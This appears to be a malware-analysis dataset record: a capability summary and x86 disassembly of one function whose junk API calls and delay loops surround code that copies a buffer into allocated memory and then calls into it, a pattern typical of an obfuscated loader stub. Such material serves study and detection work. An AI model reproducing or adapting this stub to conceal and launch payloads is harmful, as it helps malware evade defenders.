Function at 0x430102
Capabilities:
Get common file path
Get disk size
Get file attributes
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc24
push ebx
push esi
push edi
xor esi, esi
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
cmp edi, 0xfa62c8f
jge 0x430137
push esi
call dword [sym.imp.GDI32.dll_GetBkMode]
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetCharWidth32W]
cmp edi, 0x207142
jg 0x430148
inc edi
cmp edi, 0x67d12
jl 0x430112
cmp dword [0x474034], 0x93
mov ebx, dword [sym.imp.USER32.dll_LoadMenuA]
jne 0x4301ef
push esi
push esi
call dword [sym.imp.USER32.dll_GetWindowLongA]
mov edi, dword [sym.imp.GDI32.dll_CreateDCW]
push esi
push esi
push esi
push esi
call edi
push esi
push esi
lea eax, [ebp - 0x420]
push eax
push esi
push esi
call dword [sym.imp.USER32.dll_GetMenuStringA]
push esi
push esi
call ebx
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_InsertMenuItemW]
push esi
lea eax, [ebp - 0x820]
push eax
push esi
push 0x42fbd0
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
push esi
push esi
push esi
push esi
call edi
xor eax, eax
lock bts dword [eax], 0
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
push esi
call dword [sym.imp.GDI32.dll_GetTextCharset]
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push esi
call fcn.00431e2a
pop ecx
push esi
push esi
call fcn.00431e59
push esi
call fcn.00431e13
add esp, 0xc
add dword [0x474034], 0x1134b
push dword [0x474034]
mov eax, dword [0x442b2c]
push esi
mov dword [0x474e70], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x473ac0], eax
call fcn.00430088
mov edi, 0x1692e
push esi
push esi
call ebx
push esi
call dword [sym.imp.USER32.dll_CharUpperA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec edi
jne 0x43021f
mov ebx, dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
cmp dword [0x474034], esi
jbe 0x43029d
mov eax, dword [0x474e70]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x473ac0]
mov byte [ecx + edi], al
cmp dword [0x474034], 0x490
jne 0x430294
push esi
lea eax, [ebp - 4]
push eax
call ebx
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
lea eax, [ebp - 8]
push eax
push esi
lea eax, [ebp - 0x1c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WaitForDebugEvent]
inc edi
cmp edi, dword [0x474034]
jb 0x430241
xor edi, edi
mov eax, dword [0x474034]
add eax, edi
cmp eax, 0x8d
jne 0x4302e0
push esi
lea eax, [ebp - 0xc20]
push eax
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LCMapStringW]
push esi
push esi
call dword [sym.imp.USER32.dll_SetMenu]
push 0x42fbe4
push 0x42fc1c
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenEventW]
inc edi
cmp edi, 0x38681
jl 0x43029f
call fcn.0042ff8f
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp edi, 0x61
jne 0x43030e
mov dword [ebp - 4], esi
add dword [ebp - 4], 0xf1b0
mov eax, dword [ebp - 4]
add dword [0x473ac0], eax
inc edi
cmp edi, 0x674bd
jl 0x4302f0
push 0x7b
pop edi
cmp dword [0x474034], 0x86
jne 0x430377
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push esi
lea eax, [ebp - 0x820]
push eax
push 0x42fc30
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnWire]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileTime]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigA]
push esi
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
push esi
lea eax, [ebp - 0x420]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
cmp dword [0x474034], 0xf
jne 0x430387
push esi
lea eax, [ebp - 8]
push eax
call ebx
dec edi
jne 0x43031a
push 0x42fc50
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [0x473ac0]
pop edi
pop esi
pop ebx
leave
ret